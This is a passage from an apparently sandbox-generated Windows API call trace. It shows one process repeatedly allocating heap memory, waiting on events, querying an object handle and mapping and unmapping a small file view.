Size=0x200) returned 0x11f6058 [0093.806] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.806] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.806] ResetEvent (hEvent=0xdc) returned 1 [0093.806] SetEvent (hEvent=0xe0) returned 1 [0093.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.807] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.807] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.807] ResetEvent (hEvent=0xdc) returned 1 [0093.807] SetEvent (hEvent=0xe0) returned 1 [0093.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.808] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.808] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.808] ResetEvent (hEvent=0xdc) returned 1 [0093.808] SetEvent (hEvent=0xe0) returned 1 [0093.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.808] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.809] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.809] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.809] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.809] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.809] ResetEvent (hEvent=0xdc) returned 1 [0093.809] SetEvent (hEvent=0xe0) returned 1 [0093.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.809] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.810] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.810] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.810] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.810] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.810] ResetEvent (hEvent=0xdc) returned 1 [0093.810] SetEvent (hEvent=0xe0) returned 1 [0093.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.810] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.811] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.811] ResetEvent (hEvent=0xdc) returned 1 [0093.811] SetEvent (hEvent=0xe0) returned 1 [0093.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.811] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.812] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.812] ResetEvent (hEvent=0xdc) returned 1 [0093.812] SetEvent (hEvent=0xe0) returned 1 [0093.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.812] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.813] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.813] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.813] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.813] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.813] ResetEvent (hEvent=0xdc) returned 1 [0093.813] SetEvent (hEvent=0xe0) returned 1 [0093.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.813] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.814] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.814] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.814] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.814] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.814] ResetEvent (hEvent=0xdc) returned 1 [0093.814] SetEvent (hEvent=0xe0) returned 1 [0093.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.814] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.815] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.815] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.815] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.815] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.815] ResetEvent (hEvent=0xdc) returned 1 [0093.815] SetEvent (hEvent=0xe0) returned 1 [0093.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.815] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.816] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.816] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.816] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.816] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.816] ResetEvent (hEvent=0xdc) returned 1 [0093.816] SetEvent (hEvent=0xe0) returned 1 [0093.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.816] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.817] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.817] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.817] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.817] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.817] ResetEvent (hEvent=0xdc) returned 1 [0093.817] SetEvent (hEvent=0xe0) returned 1 [0093.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.817] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.817] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.818] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.818] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.818] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.818] ResetEvent (hEvent=0xdc) returned 1 [0093.818] SetEvent (hEvent=0xe0) returned 1 [0093.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.818] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.818] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.819] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.819] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.819] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.819] ResetEvent (hEvent=0xdc) returned 1 [0093.819] SetEvent (hEvent=0xe0) returned 1 [0093.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.819] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.819] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.820] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.820] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.820] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.820] ResetEvent (hEvent=0xdc) returned 1 [0093.820] SetEvent (hEvent=0xe0) returned 1 [0093.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.820] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.820] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.820] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.821] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.821] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.821] ResetEvent (hEvent=0xdc) returned 1 [0093.821] SetEvent (hEvent=0xe0) returned 1 [0093.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.821] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.821] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.821] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.822] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.822] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.822] ResetEvent (hEvent=0xdc) returned 1 [0093.822] SetEvent (hEvent=0xe0) returned 1 [0093.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.822] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.822] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.822] ResetEvent (hEvent=0xdc) returned 1 [0093.823] SetEvent (hEvent=0xe0) returned 1 [0093.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.823] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.823] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.823] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.824] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.824] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.824] ResetEvent (hEvent=0xdc) returned 1 [0093.824] SetEvent (hEvent=0xe0) returned 1 [0093.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.824] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.824] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.824] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.825] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.825] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.825] ResetEvent (hEvent=0xdc) returned 1 [0093.825] SetEvent (hEvent=0xe0) returned 1 [0093.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.825] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.825] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.825] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.826] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.826] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.826] ResetEvent (hEvent=0xdc) returned 1 [0093.826] SetEvent (hEvent=0xe0) returned 1 [0093.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.826] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.826] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.826] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.827] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.827] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.827] ResetEvent (hEvent=0xdc) returned 1 [0093.827] SetEvent (hEvent=0xe0) returned 1 [0093.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.827] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.827] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.827] ResetEvent (hEvent=0xdc) returned 1 [0093.827] SetEvent (hEvent=0xe0) returned 1 [0093.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.828] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.828] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.828] ResetEvent (hEvent=0xdc) returned 1 [0093.828] SetEvent (hEvent=0xe0) returned 1 [0093.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.829] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.829] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.829] ResetEvent (hEvent=0xdc) returned 1 [0093.829] SetEvent (hEvent=0xe0) returned 1 [0093.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.830] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.830] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.830] ResetEvent (hEvent=0xdc) returned 1 [0093.830] SetEvent (hEvent=0xe0) returned 1 [0093.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.830] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.831] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.831] ResetEvent (hEvent=0xdc) returned 1 [0093.831] SetEvent (hEvent=0xe0) returned 1 [0093.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.831] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.832] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.832] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.832] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.832] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.832] ResetEvent (hEvent=0xdc) returned 1 [0093.832] SetEvent (hEvent=0xe0) returned 1 [0093.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.832] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.833] NtQueryObject (in: 